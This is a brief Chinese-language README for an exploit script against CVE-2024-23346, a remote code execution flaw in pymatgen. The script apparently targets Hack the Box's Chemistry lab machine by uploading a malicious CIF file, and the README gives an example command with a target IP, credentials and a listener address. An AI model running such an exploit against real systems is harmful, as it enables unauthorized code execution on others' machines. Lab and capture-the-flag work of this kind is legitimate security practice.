这是一个针对 pymatgen Python 库中已知远程代码执行(RCE)漏洞(CVE-2024-23346)的漏洞利用脚本,通过向 Hack the Box 的 Chemistry 机器上托管的 CIF Analyzer 网站上传恶意 CIF 文件来实现利用。
NVD CVE 链接:https://nvd.nist.gov/vuln/detail/CVE-2024-23346
用法:CVE-2024-23346-exploit.py -t targetIP -P targetPORT -u loggedusername -p loggedpassword -l tun0ip/lhost
示例:
python3 CVE-2024-23346-exploit.py -t 10.10.11.38 -P 5000 -u ramon -p ramon -l 10.10.15.000
